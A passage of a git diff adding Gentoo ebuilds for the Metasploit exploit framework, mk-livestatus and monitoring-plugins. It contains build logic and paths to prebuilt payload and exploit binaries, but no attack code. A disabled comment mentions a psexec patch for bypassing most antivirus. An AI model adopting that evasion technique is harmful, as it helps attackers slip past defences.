+RDEPEND+=" ${COMMON_DEPEND}
+ >=app-eselect/eselect-metasploit-0.13"
+
+RESTRICT="strip"
+
+QA_PREBUILT="
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2013-2171.bin
+ "
+
+pkg_setup() {
+ if use test; then
+ su postgres -c "dropdb msf_test_database" #this is intentionally allowed to fail
+ su postgres -c "createuser msf_test_user -d -S -R"
+ if [ $? -ne 0 ]; then
+ su postgres -c "dropuser msf_test_user" || die
+ su postgres -c "createuser msf_test_user -d -S -R" || die
+ fi
+ su postgres -c "createdb --owner=msf_test_user msf_test_database" || die
+ fi
+ ruby-ng_pkg_setup
+}
+
+all_ruby_unpack() {
+ if [[ ${PV} == "9999" ]] ; then
+ git-r3_src_unpack
+ else
+ default_src_unpack
+ mv "${WORKDIR}"/all/msf3/* "${WORKDIR}"/all
+ rm -r msf3
+ fi
+}
+
+all_ruby_prepare() {
+ # add psexec patch from pull request 2657 to allow custom exe templates from any files, bypassing most AVs
+ #epatch "${FILESDIR}/agix_psexec_pull-2657.patch"
+ epatch_user
+
+ #unbundle johntheripper, at least it now defaults to running the system version
+ rm -r data/john/run.*
+ rm -r data/john/src.tar.bz2
+ #remove random "cpuinfo" binaries which a only needed to detect which bundled john to run
+ rm -r data/cpuinfo
+
+ #remove random oudated collected garbage
+ rm -r external
+
+ #remove unneeded ruby bundler versioning files
+ #Gemfile.lock contains the versions tested by the msf team but not the hard requirements
+ #we regen this file in each_ruby_prepare
+ rm Gemfile.lock
+ #The Gemfile contains real known deps
+ #add our dep on upstream rb-readline instead of bundled one
+ sed -i "/gem 'packetfu'/a #use upstream readline instead of bundled\ngem 'rb-readline'" Gemfile || die
+ sed -i "/gem 'fivemat'/s/, '1.2.1'//" Gemfile || die
+ #remove the bundled readline
+ #https://github.com/rapid7/metasploit-framework/pull/3105
+ #this PR was closed due to numerous changes to their local fork, almost entirely for non-linux
+ rm lib/rbreadline.rb
+ #now we edit the Gemfile based on use flags
+ #even if we pass --without=blah bundler still calculates the deps and messes us up
+ if ! use pcap; then
+ sed -i -e "/^group :pcap do/,/^end$/d" Gemfile || die
+ fi
+ if ! use development; then
+ sed -i -e "/^group :development do/,/^end$/d" Gemfile || die
+ fi
+ if ! use test; then
+ sed -i -e "/^group :test/,/^end$/d" Gemfile || die
+ fi
+ if ! use test && ! use development; then
+ sed -i -e "/^group :development/,/^end$/d" Gemfile || die
+ fi
+ if use test; then
+ #We don't need simplecov
+ sed -i -e "s#gem 'simplecov', '0.5.4', :require => false##" Gemfile || die
+ sed -i -e "s#require 'simplecov'##" spec/spec_helper.rb || die
+ fi
+
+ #let's bogart msfupdate
+ rm msfupdate
+ echo "#!/bin/sh" > msfupdate
+ echo "echo \"[*]\"" >> msfupdate
+ echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> msfupdate
+ echo "echo \"[*]\"" >> msfupdate
+ echo "echo \"\"" >> msfupdate
+ if [[ ${PV} == "9999" ]] ; then
+ echo "emerge --oneshot \"=${CATEGORY}/${PF}\"" >> msfupdate
+ else
+ echo "echo \"Unable to update tagged version of metasploit.\"" >> msfupdate
+ echo "echo \"If you want the latest please install and eselect the live version (metasploit9999)\"" >> msfupdate
+ echo "echo \"emerge metasploit:9999 -vat && eselect metasploit set metasploit9999\"" >> msfupdate
+ fi
+ #this is set executable in src_install
+
+ #install our database.yml file before tests are run
+ cp "${FILESDIR}"/database.yml config/
+
+}
+
+each_ruby_prepare() {
+ ${RUBY} -S bundle install --local || die
+ ${RUBY} -S bundle check || die
+
+ #force all metasploit executables to ruby19, ruby18 is not supported anymore and ruby20 is not supported yet
+ #https://dev.metasploit.com/redmine/issues/8357
+ for file in $(ls -1 msf*)
+ do
+ #poorly adapted from python.eclass
+ sed -e "1s:^#![[:space:]]*\([^[:space:]]*/usr/bin/env[[:space:]]\)\?[[:space:]]*\([^[:space:]]*/\)\?ruby\([[:digit:]]\+\(\.[[:digit:]]\+\)\?\)\?\(\$\|[[:space:]].*\):#!\1\2${RUBY}:" -i "${file}" || die "Conversion of shebang in '${file}' failed"
+ done
+}
+
+each_ruby_test() {
+ #review dev-python/pymongo for ways to make the test compatible with FEATURES=network-sandbox
+
+ #we bogart msfupdate so no point in trying to test it
+ rm spec/msfupdate_spec.rb || die
+ #we don't really want to be uploading to virustotal during the tests
+ rm spec/tools/virustotal_spec.rb || die
+
+ # https://dev.metasploit.com/redmine/issues/8425
+ ${RUBY} -S bundle exec rake db:create || die
+ ${RUBY} -S bundle exec rake db:migrate || die
+
+ MSF_DATABASE_CONFIG=config/database.yml ${RUBY} -S bundle exec rake || die
+ su postgres -c "dropuser msf_test_user" || die "failed to cleanup msf_test-user"
+}
+
+each_ruby_install() {
+ #Tests have already been run, we don't need this stuff
+ rm -r spec || die
+ rm -r test || die
+ rm Gemfile.lock || die
+
+ #I'm 99% sure that this will only work for as long as we only support one ruby version. Creativity will be needed if we wish to support multiple.
+ # should be as simple as copying everything into the target...
+ dodir /usr/$(get_libdir)/${PN}${SLOT}
+ cp -R * "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
+ rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md
+ fowners -R root:0 /
+
+}
+
+all_ruby_install() {
+ # do not remove LICENSE, bug #238137
+ dodir /usr/share/doc/${PF}
+ cp -R {documentation,README.md} "${ED}"/usr/share/doc/${PF} || die
+ dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
+
+ fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate
+
+ #tell revdep-rebuild to ignore binaries meant for the target
+ dodir /etc/revdep-rebuild
+ cat <<-EOF > "${ED}"/etc/revdep-rebuild/99-metasploit${SLOT}
+ #These dirs contain prebuilt binaries for running on the TARGET not the HOST
+ SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/meterpreter"
+ SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/exploits"
+ EOF
+}
+
+pkg_postinst() {
+ elog "Before use you should run 'env-update' and '. /etc/profile'"
+ elog "otherwise you may be missing important environmental variables."
+
+ elog "You need to prepare the database by running:"
+ elog "emerge --config postgresql-server"
+ elog "/etc/init.d/postgresql-<version> start"
+ elog "emerge --config =metasploit-${PV}"
+
+ "${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
+
+ einfo
+ elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml if necessary"
+}
+
+pkg_config() {
+ einfo "If the following fails, it is likely because you forgot to start/config postgresql first"
+ su postgres -c "createuser msf_user -D -S -R"
+ su postgres -c "createdb --owner=msf_user msf_database"
+}
diff --git a/net-analyzer/metasploit/metasploit-9999.ebuild b/net-analyzer/metasploit/metasploit-9999.ebuild
new file mode 100644
index 000000000000..38ea5e220bf6
--- /dev/null
+++ b/net-analyzer/metasploit/metasploit-9999.ebuild
@@ -0,0 +1,274 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI="5"
+
+if [[ ${PV} == "9999" ]] ; then
+ EGIT_REPO_URI="https://github.com/rapid7/metasploit-framework.git"
+ EGIT_CHECKOUT_DIR="${WORKDIR}"/all
+ inherit git-r3
+ KEYWORDS=""
+else
+ #https://github.com/rapid7/metasploit-framework/wiki/Downloads-by-Version
+ SRC_URI="http://downloads.metasploit.com/data/releases/archive/framework-${PV}.tar.bz2"
+ KEYWORDS="~amd64 ~arm ~x86"
+ S="${WORKDIR}"/msf3
+fi
+
+#ruby20 doesn't have wide enough support in gentoo yet (but is semi-supported upstream)
+USE_RUBY="ruby19"
+inherit eutils ruby-ng
+
+DESCRIPTION="Advanced open-source framework for developing, testing, and using vulnerability exploit code"
+HOMEPAGE="http://www.metasploit.org/"
+SLOT="9999"
+LICENSE="BSD"
+IUSE="development +java lorcon oracle +pcap test"
+
+#multiple known bugs with tests reported upstream and ignored
+#http://dev.metasploit.com/redmine/issues/8418 - worked around (fix user creation when possible)
+RESTRICT="test"
+
+RUBY_COMMON_DEPEND="virtual/ruby-ssl
+ dev-ruby/activesupport:3.2
+ dev-ruby/activerecord:3.2
+ dev-ruby/bcrypt-ruby
+ dev-ruby/builder:3
+ dev-ruby/bundler
+ dev-ruby/json
+ dev-ruby/kissfft
+ =dev-ruby/metasploit_data_models-0.17.0
+ =dev-ruby/meterpreter_bins-0.0.6
+ dev-ruby/msgpack
+ dev-ruby/nokogiri
+ =dev-ruby/rkelly-remix-0.0.6
+ dev-ruby/sqlite3
+ >=dev-ruby/pg-0.11
+ =dev-ruby/packetfu-1.1.9
+ dev-ruby/rb-readline
+ dev-ruby/robots
+ java? ( dev-ruby/rjb )
+ lorcon? ( net-wireless/lorcon[ruby] )
+ oracle? ( dev-ruby/ruby-oci8 )
+ pcap? ( dev-ruby/pcaprub
+ dev-ruby/network_interface )
+ development? ( dev-ruby/fivemat
+ dev-ruby/redcarpet
+ dev-ruby/yard
+ >=dev-ruby/rake-10.0.0
+ >=dev-ruby/factory_girl-4.1.0 )"
+ruby_add_bdepend "${RUBY_COMMON_DEPEND}
+ test? ( >=dev-ruby/factory_girl-4.1.0
+ dev-ruby/fivemat
+ dev-ruby/database_cleaner
+ >=dev-ruby/rspec-2.12
+ dev-ruby/shoulda-matchers
+ dev-ruby/timecop
+ >=dev-ruby/rake-10.0.0 )"
+ruby_add_rdepend "${RUBY_COMMON_DEPEND}"
+
+COMMON_DEPEND="dev-db/postgresql[server]
+ >=app-crypt/johntheripper-1.7.9-r1[-minimal]
+ net-analyzer/nmap"
+DEPEND+=" ${COMMON_DEPEND}"
+RDEPEND+=" ${COMMON_DEPEND}
+ >=app-eselect/eselect-metasploit-0.13"
+
+RESTRICT="strip"
+
+QA_PREBUILT="
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_armle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_solaris.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x64_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_x86_bsd.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsbe_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/templates/template_mipsle_linux.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/msflinker_linux_x86.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_sniffer.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_networkpug.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/meterpreter/ext_server_stdapi.lso
+ usr/$(get_libdir)/${PN}${SLOT}/data/exploits/CVE-2013-2171.bin
+ usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/x86/libndkstager.so
+ usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/mips/libndkstager.so
+ usr/$(get_libdir)/${PN}${SLOT}/data/android/libs/armeabi/libndkstager.so
+ "
+
+pkg_setup() {
+ if use test; then
+ su postgres -c "dropdb msf_test_database" #this is intentionally allowed to fail
+ su postgres -c "createuser msf_test_user -d -S -R"
+ if [ $? -ne 0 ]; then
+ su postgres -c "dropuser msf_test_user" || die
+ su postgres -c "createuser msf_test_user -d -S -R" || die
+ fi
+ su postgres -c "createdb --owner=msf_test_user msf_test_database" || die
+ fi
+ ruby-ng_pkg_setup
+}
+
+all_ruby_unpack() {
+ if [[ ${PV} == "9999" ]] ; then
+ git-r3_src_unpack
+ else
+ default_src_unpack
+ mv "${WORKDIR}"/all/msf3/* "${WORKDIR}"/all
+ rm -r msf3
+ fi
+}
+
+all_ruby_prepare() {
+ # add psexec patch from pull request 2657 to allow custom exe templates from any files, bypassing most AVs
+ #epatch "${FILESDIR}/agix_psexec_pull-2657.patch"
+ epatch_user
+
+ #unbundle johntheripper, at least it now defaults to running the system version
+ rm -r data/john/run.*
+ rm -r data/john/src.tar.bz2
+ #remove random "cpuinfo" binaries which a only needed to detect which bundled john to run
+ rm -r data/cpuinfo
+
+ #remove random oudated collected garbage
+ rm -r external
+
+ #remove unneeded ruby bundler versioning files
+ #Gemfile.lock contains the versions tested by the msf team but not the hard requirements
+ #we regen this file in each_ruby_prepare
+ rm Gemfile.lock
+ #The Gemfile contains real known deps
+ #add our dep on upstream rb-readline instead of bundled one
+ sed -i "/gem 'packetfu'/a #use upstream readline instead of bundled\ngem 'rb-readline'" Gemfile || die
+ sed -i "/gem 'fivemat'/s/, '1.2.1'//" Gemfile || die
+ #remove the bundled readline
+ #https://github.com/rapid7/metasploit-framework/pull/3105
+ #this PR was closed due to numerous changes to their local fork, almost entirely for non-linux
+ rm lib/rbreadline.rb
+ #now we edit the Gemfile based on use flags
+ #even if we pass --without=blah bundler still calculates the deps and messes us up
+ if ! use pcap; then
+ sed -i -e "/^group :pcap do/,/^end$/d" Gemfile || die
+ fi
+ if ! use development; then
+ sed -i -e "/^group :development do/,/^end$/d" Gemfile || die
+ fi
+ if ! use test; then
+ sed -i -e "/^group :test/,/^end$/d" Gemfile || die
+ fi
+ if ! use test && ! use development; then
+ sed -i -e "/^group :development/,/^end$/d" Gemfile || die
+ fi
+ if use test; then
+ #We don't need simplecov
+ sed -i -e "s#gem 'simplecov', '0.5.4', :require => false##" Gemfile || die
+ sed -i -e "s#require 'simplecov'##" spec/spec_helper.rb || die
+ fi
+
+ #let's bogart msfupdate
+ rm msfupdate
+ echo "#!/bin/sh" > msfupdate
+ echo "echo \"[*]\"" >> msfupdate
+ echo "echo \"[*] Attempting to update the Metasploit Framework...\"" >> msfupdate
+ echo "echo \"[*]\"" >> msfupdate
+ echo "echo \"\"" >> msfupdate
+ if [[ ${PV} == "9999" ]] ; then
+ echo "if [ -x /usr/bin/smart-live-rebuild ]; then" >> msfupdate
+ echo " smart-live-rebuild -f net-analyzer/metasploit" >> msfupdate
+ echo "else" >> msfupdate
+ echo " echo \"Please install app-portage/smart-live-rebuild for a better experience.\"" >> msfupdate
+ echo "emerge --oneshot \"=${CATEGORY}/${PF}\"" >> msfupdate
+ echo "fi" >> msfupdate
+ else
+ echo "echo \"Unable to update tagged version of metasploit.\"" >> msfupdate
+ echo "echo \"If you want the latest please install and eselect the live version (metasploit9999)\"" >> msfupdate
+ echo "echo \"emerge metasploit:9999 -vat && eselect metasploit set metasploit9999\"" >> msfupdate
+ fi
+ #this is set executable in src_install
+
+ #install our database.yml file before tests are run
+ cp "${FILESDIR}"/database.yml config/
+
+}
+
+each_ruby_prepare() {
+ BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle install --local || die
+ BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle check || die
+
+ #force all metasploit executables to ruby19, ruby18 is not supported anymore and ruby20 is not supported yet
+ #https://dev.metasploit.com/redmine/issues/8357
+ for file in $(ls -1 msf*)
+ do
+ #poorly adapted from python.eclass
+ sed -e "1s:^#![[:space:]]*\([^[:space:]]*/usr/bin/env[[:space:]]\)\?[[:space:]]*\([^[:space:]]*/\)\?ruby\([[:digit:]]\+\(\.[[:digit:]]\+\)\?\)\?\(\$\|[[:space:]].*\):#!\1\2${RUBY}:" -i "${file}" || die "Conversion of shebang in '${file}' failed"
+ done
+}
+
+each_ruby_test() {
+ #review dev-python/pymongo for ways to make the test compatible with FEATURES=network-sandbox
+
+ #we bogart msfupdate so no point in trying to test it
+ rm spec/msfupdate_spec.rb || die
+ #we don't really want to be uploading to virustotal during the tests
+ rm spec/tools/virustotal_spec.rb || die
+
+ # https://dev.metasploit.com/redmine/issues/8425
+ BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:create || die
+ BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake db:migrate || die
+
+ MSF_DATABASE_CONFIG=config/database.yml BUNDLE_GEMFILE=Gemfile ${RUBY} -S bundle exec rake || die
+ su postgres -c "dropuser msf_test_user" || die "failed to cleanup msf_test-user"
+}
+
+each_ruby_install() {
+ #Tests have already been run, we don't need this stuff
+ rm -r spec || die
+ rm -r test || die
+ rm Gemfile.lock || die
+
+ #I'm 99% sure that this will only work for as long as we only support one ruby version. Creativity will be needed if we wish to support multiple.
+ # should be as simple as copying everything into the target...
+ dodir /usr/$(get_libdir)/${PN}${SLOT}
+ cp -R * "${ED}"/usr/$(get_libdir)/${PN}${SLOT} || die "Copy files failed"
+ rm -Rf "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/documentation "${ED}"/usr/$(get_libdir)/${PN}${SLOT}/README.md
+ fowners -R root:0 /
+
+}
+
+all_ruby_install() {
+ # do not remove LICENSE, bug #238137
+ dodir /usr/share/doc/${PF}
+ cp -R {documentation,README.md} "${ED}"/usr/share/doc/${PF} || die
+ dosym /usr/share/doc/${PF}/documentation /usr/$(get_libdir)/${PN}${SLOT}/documentation
+
+ fperms +x /usr/$(get_libdir)/${PN}${SLOT}/msfupdate
+
+ #tell revdep-rebuild to ignore binaries meant for the target
+ dodir /etc/revdep-rebuild
+ cat <<-EOF > "${ED}"/etc/revdep-rebuild/99-metasploit${SLOT}
+ #These dirs contain prebuilt binaries for running on the TARGET not the HOST
+ SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/meterpreter"
+ SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/exploits"
+ SEARCH_DIRS_MASK="/usr/lib*/${PN}${SLOT}/data/android/libs"
+ EOF
+}
+
+pkg_postinst() {
+ elog "Before use you should run 'env-update' and '. /etc/profile'"
+ elog "otherwise you may be missing important environmental variables."
+
+ elog "You need to prepare the database by running:"
+ elog "emerge --config postgresql-server"
+ elog "/etc/init.d/postgresql-<version> start"
+ elog "emerge --config =metasploit-${PV}"
+
+ "${EROOT}"/usr/bin/eselect metasploit set --use-old ${PN}${SLOT}
+
+ einfo
+ elog "Adjust /usr/lib/${PN}${SLOT}/config/database.yml if necessary"
+}
+
+pkg_config() {
+ einfo "If the following fails, it is likely because you forgot to start/config postgresql first"
+ su postgres -c "createuser msf_user -D -S -R"
+ su postgres -c "createdb --owner=msf_user msf_database"
+}
diff --git a/net-analyzer/mk-livestatus/Manifest b/net-analyzer/mk-livestatus/Manifest
new file mode 100644
index 000000000000..69d35d5a746e
--- /dev/null
+++ b/net-analyzer/mk-livestatus/Manifest
@@ -0,0 +1 @@
+DIST mk-livestatus-1.2.2p3.tar.gz 382030 SHA256 edceb13675ed3375fd867216e2ffe31c350d5860509f9fb0abd182148e270616 SHA512 ee3468de5a61c4aa904d8d0df8e4a66c56a04e2f99d92237957100dc7ecb28e8e1f403488298b5a92ce78874e176384eca02eeb9b0a99c1bbf9799a9c2fcaa01 WHIRLPOOL 7fe080bbfc2d04a037248a94a202137cdc0ca40689800e51c273bd83dfe4e5c2e5d54ca6ff525d6ffb5015ff6032b8cfe65739896a63adaf01a7d550f771d8e4
diff --git a/net-analyzer/mk-livestatus/files/mk-livestatus-1.2.2_p3-no-strip.diff b/net-analyzer/mk-livestatus/files/mk-livestatus-1.2.2_p3-no-strip.diff
new file mode 100644
index 000000000000..a3f81a5054cb
--- /dev/null
+++ b/net-analyzer/mk-livestatus/files/mk-livestatus-1.2.2_p3-no-strip.diff
@@ -0,0 +1,23 @@
+--- src/Makefile.am 2013-08-20 14:24:46.000000000 +0200
++++ src/Makefile.am 2013-08-20 14:25:20.000000000 +0200
+@@ -54,9 +54,9 @@
+
+ livecheck$(EXEEXT): livecheck.c strutil.c check_icmp.c
+ if HAVE_DIET
+- diet -v $(CC) -Wno-deprecated-declarations $(CFLAGS) $(LDFLAGS) -I.. -s -o $@ $^
++ diet -v $(CC) -Wno-deprecated-declarations $(CFLAGS) $(LDFLAGS) -I.. -o $@ $^
+ else
+- $(CC) -x c -Wno-deprecated-declarations $(CFLAGS) $(LDFLAGS) -I.. -s -o $@ $^
++ $(CC) -x c -Wno-deprecated-declarations $(CFLAGS) $(LDFLAGS) -I.. -o $@ $^
+ endif
+
+ livestatus_so_CXXFLAGS = -I$(top_srcdir)/nagios -fPIC
+@@ -64,7 +64,7 @@
+
+ livestatus.o: $(livestatus_so_OBJECTS) $(livestatus_so_DEPENDENCIES)
+ -rm -f plugin.so
+- $(CXX) $(LDFLAGS) -s -fPIC -shared $(livestatus_so_OBJECTS) -o $@ -lpthread -lstdc++
++ $(CXX) $(LDFLAGS) -fPIC -shared $(livestatus_so_OBJECTS) -o $@ -lpthread -lstdc++
+
+ all-local: livestatus.o
+
diff --git a/net-analyzer/mk-livestatus/files/mk-livestatus-1.2.2_p3-test-RequireRcsKeywords.diff b/net-analyzer/mk-livestatus/files/mk-livestatus-1.2.2_p3-test-RequireRcsKeywords.diff
new file mode 100644
index 000000000000..95b2830feccf
--- /dev/null
+++ b/net-analyzer/mk-livestatus/files/mk-livestatus-1.2.2_p3-test-RequireRcsKeywords.diff
@@ -0,0 +1,18 @@
+--- ./api/perl/t/perlcriticrc 2013-08-21 22:37:57.791099241 +0200
++++ ./api/perl/t/perlcriticrc 2013-08-21 22:38:02.943210061 +0200
+@@ -133,8 +133,6 @@ severity = 3
+ [Perl::Critic::Policy::Miscellanea::ProhibitTies]
+ severity = 4
+
+-[-Perl::Critic::Policy::Miscellanea::RequireRcsKeywords]
+-
+ [Perl::Critic::Policy::Modules::ProhibitAutomaticExportation]
+ severity = 4
+
+@@ -283,4 +281,4 @@ severity = 5
+ severity = 5
+
+ [Perl::Critic::Policy::Variables::RequireNegativeIndices]
+-severity = 4
+\ No newline at end of file
++severity = 4
diff --git a/net-analyzer/mk-livestatus/metadata.xml b/net-analyzer/mk-livestatus/metadata.xml
new file mode 100644
index 000000000000..91f4e72fb544
--- /dev/null
+++ b/net-analyzer/mk-livestatus/metadata.xml
@@ -0,0 +1,7 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <maintainer>
+ <email>maintainer-needed@gentoo.org</email>
+ </maintainer>
+</pkgmetadata>
diff --git a/net-analyzer/mk-livestatus/mk-livestatus-1.2.2_p3.ebuild b/net-analyzer/mk-livestatus/mk-livestatus-1.2.2_p3.ebuild
new file mode 100644
index 000000000000..6e506632c963
--- /dev/null
+++ b/net-analyzer/mk-livestatus/mk-livestatus-1.2.2_p3.ebuild
@@ -0,0 +1,126 @@
+# Copyright 1999-2015 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Id$
+
+EAPI=5
+
+GENTOO_DEPEND_ON_PERL=no
+PERL_EXPORT_PHASE_FUNCTIONS=no
+PYTHON_COMPAT=( python2_7 )
+
+inherit autotools perl-module python-r1 eutils
+
+MY_PV="${PV/_p/p}"
+MY_P="${PN}-${MY_PV}"
+
+DESCRIPTION="Nagios/Icinga event broker module that allows quick/direct access to your status data"
+HOMEPAGE="http://mathias-kettner.de/checkmk_livestatus.html"
+SRC_URI="http://mathias-kettner.de/download/${MY_P}.tar.gz"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="~amd64 ~ppc ~x86"
+IUSE="examples perl python test"
+
+RDEPEND="perl? (
+ dev-lang/perl:0
+ virtual/perl-Digest-MD5:0
+ virtual/perl-Scalar-List-Utils:0
+ >=virtual/perl-Thread-Queue-2.11:0
+ virtual/perl-Encode:0
+ dev-perl/JSON-XS:0
+ )"
+DEPEND="${RDEPEND}
+ perl? (
+ dev-perl/Module-Install:0
+ virtual/perl-ExtUtils-MakeMaker:0
+ virtual/perl-File-Path:0
+ virtual/perl-File-Spec:0
+ virtual/perl-File-Temp:0
+ test? (
+ dev-perl/File-Copy-Recursive:0
+ dev-perl/Test-Pod:0
+ dev-perl/Test-Perl-Critic:0
+ dev-perl/Test-Pod-Coverage:0
+ dev-perl/Perl-Critic:0
+ dev-perl/Perl-Critic-Policy-Dynamic-NoIndirect:0
+ dev-perl/Perl-Critic-Deprecated:0
+ dev-perl/Perl-Critic-Nits:0
+ )
+ )"
+
+# For perl test
+SRC_TEST="parallel"
+
+S="${WORKDIR}/${MY_P}"
+
+src_prepare() {
+ # Use system Module::Install instead, it will be copied to $S by
+ # Module::install itself.
+ rm -rf api/perl/inc
+
+ if use perl; then
+ perl-module_src_prepare
+ fi
+
+ epatch "${FILESDIR}/${P}-no-strip.diff"
+ epatch "${FILESDIR}/${P}-test-RequireRcsKeywords.diff"
+
+ # Script too old
+ rm -f missing
+
+ eautoreconf
+}
+
+src_configure() {
+ econf
+
+ if use perl; then
+ cd api/perl/
+ perl-module_src_configure
+ fi
+}
+
+src_compile() {
+ emake
+
+ if use perl; then
+ cd api/perl
+ perl-module_src_compile
+ fi
+}
+
+src_test() {
+ if use perl; then
+ cd api/perl
+
+ export TEST_AUTHOR="Test Author"
+ perl-module_src_test
+ fi
+}
+
+src_install() {
+ emake -C src/ DESTDIR="${ED}" install-binPROGRAMS install-data-local
+
+ if use perl; then
+ cd api/perl
+ perl-module_src_install
+ cd "${S}"
+
+ if use examples; then
+ docinto examples/
+ dodoc api/perl/examples/dump.pl
+ fi
+ fi
+
+ if use python; then
+ python_foreach_impl python_domodule api/python/livestatus.py
+
+ if use examples; then
+ newdoc api/python/README README.python
+
+ docinto examples/
+ dodoc api/python/{example,example_multisite,make_nagvis_map}.py
+ fi
+ fi
+}
diff --git a/net-analyzer/monitoring-plugins/Manifest b/net-analyzer/monitoring-plugins/Manifest
new file mode 100644
index 000000000000..734f6715325e
--- /dev/null
+++ b/net-analyzer/monitoring-plugins/Manifest
@@ -0,0 +1 @@
+DIST monitoring-plugins-2.1.1.tar.gz 2612331 SHA256 44dbace8033eafb716cc501bfef26ca9071ae3d0329b2c118bd0230fd98dd1d3 SHA512 0b5d0aefe4aab938287509fcd20c0bb5a1e79848ef85127bbf33d365e62fd9442d230dc4ac605e5d815b68827550485a2b01973b7527d7e611b0821199ed60aa WHIRLPOOL 8355cec22b8ea540a149f65ea74d16890475b2799db564109ea790fe6d3c2dc9b42af2103594048ea9e6ee3de4041fcc8c45805e53f23de5b8b56e89b77b8ba8
diff --git a/net-analyzer/monitoring-plugins/metadata.xml b/net-analyzer/monitoring-plugins/metadata.xml
new file mode 100644
index 000000000000..097b712d35dd
--- /dev/null
+++ b/net-analyzer/monitoring-plugins/metadata.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!DOCTYPE pkgmetadata SYSTEM "http://www.gentoo.org/dtd/metadata.dtd">
+<pkgmetadata>
+ <herd>proxy-maintainers</herd>
+ <maintainer>
+ <email>hydrapolic@gmail.com</email>
+ <name>Tomas Mozes</name>
+ <description>Primary maintainer. Assign bugs to him.</description>
+ </maintainer>
+ <maintainer>
+ <email>mjo@gentoo.org</email>
+ <name>Michael Orlitzky</name>
+ <description>Secondary maintainer. Please CC on bugs.</description>
+ </maintainer>
+ <use>
+ <flag name='dns'>
+ Install <pkg>net-dns/bind-tools</pkg> required for monitoring
+ DNS servers. Disabling the flag does not remove any plugins.
+ </flag>
+ <flag name='game'>
+ Install <pkg>games-util/qstat</pkg> required for monitoring FPS
+ servers. Disabling the flag does not remove any plugins.
+ </flag>
+ <flag name='fping'>
+ Install <pkg>net-analyzer/fping</pkg> required for fancy ping
+ monitoring. Disabling the flag does not remove any plugins.
+ </flag>
+ <flag name='ssh'>
+ Install <pkg>net-misc/openssh</pkg> required for monitoring SSH
+ servers. Disabling the flag does not remove any plugins.
+ </flag>
+ <flag name='snmp'>
+ Install <pkg>dev-perl/Net-SNMP</pkg> and
+ <pkg>net-analyzer/net-snmp</pkg> required for monitoring SNMP
+ values. Disabling the flag does not remove any plugins.
+ </flag>
+ </use>
+</pkgmetadata>
diff --git a/net-analyzer/monitoring-plugins/monitoring-plugins-2.1.1.ebuild b/net-analyzer/monitoring-plugins/monitoring-plugins-2.1.1.ebuild
new file mode 100644
